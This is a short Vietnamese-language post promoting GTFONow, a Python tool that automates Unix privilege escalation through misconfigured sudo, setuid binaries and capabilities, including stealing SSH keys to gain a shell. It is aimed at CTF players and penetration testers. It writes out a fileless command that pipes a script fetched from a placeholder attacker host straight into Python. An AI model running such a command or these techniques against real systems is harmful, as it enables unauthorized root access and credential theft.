Frissi0n/GTFONow

🚀 GTFONow — Tự động leo quyền Unix dựa trên GTFOBins

Single file, zero dependency, chạy fileless — tự động tìm và khai thác mọi misconfigured privilege vector trên Unix.

GTFONow là công cụ leo quyền tự động trên hệ thống Unix, nhắm vào các misconfigured setuid/setgid binaries, capabilities và sudo permissions. Dự án lấy payload từ GTFOBins và đóng gói thành một script Python duy nhất, phù hợp cho CTF và pentest thực tế.

✨ Điểm nổi bật

• Tự động exploit sudo: quét và khai thác ngay các misconfigured sudo permissions.
• Tự động exploit suid/sgid: phát hiện và leveraged các binary có permission sai.
• Tự động exploit capabilities: xử lý các capability bị gán sai cho binary.
• File read → shell: chuyển đổi primitive đọc file tùy ý thành shell bằng cách đánh cắp SSH keys.
• File write → shell: chuyển đổi primitive ghi file tùy ý thành shell qua SSH keys, cron, hoặc LD_PRELOAD.
• Chạy fileless: curl http://attacker.host/gtfonow.py | python — không cần download hay cài đặt.
• Đa nền tảng: hoạt động trên mọi Unix variant (Linux, macOS, *Nix), mọi kiến trúc (X86, ARM64, X86-64).
• Không dependency: chỉ dùng Python stdlib, tương thích Python 2 và Python 3.

💡 Vì sao đáng chú ý

GTFONow gom toàn bộ playbook leo quyền từ GTFOBins vào một script duy nhất, tự động hóa quy trình mà trước đây cần thủ công kiểm tra từng vector. Với hai mức --level (quick scan / thorough scan) và --risk (safe / aggressive), công cụ linh hoạt từ tìm hiểu đến sử dụng thực tế.

Điểm mạnh nhất là tính di động: không dependency, chạy fileless qua pipe, tương thích mọi Unix và mọi kiến trúc. Điều này biến GTFONow thành một "Swiss army knife" thực sự cho red team và CTF player khi cần leo quyền nhanh mà không bị giới hạn bởi environment.

#PrivilegeEscalation #GTFOBins #Pentesting #CTF #RedTeam #TiniX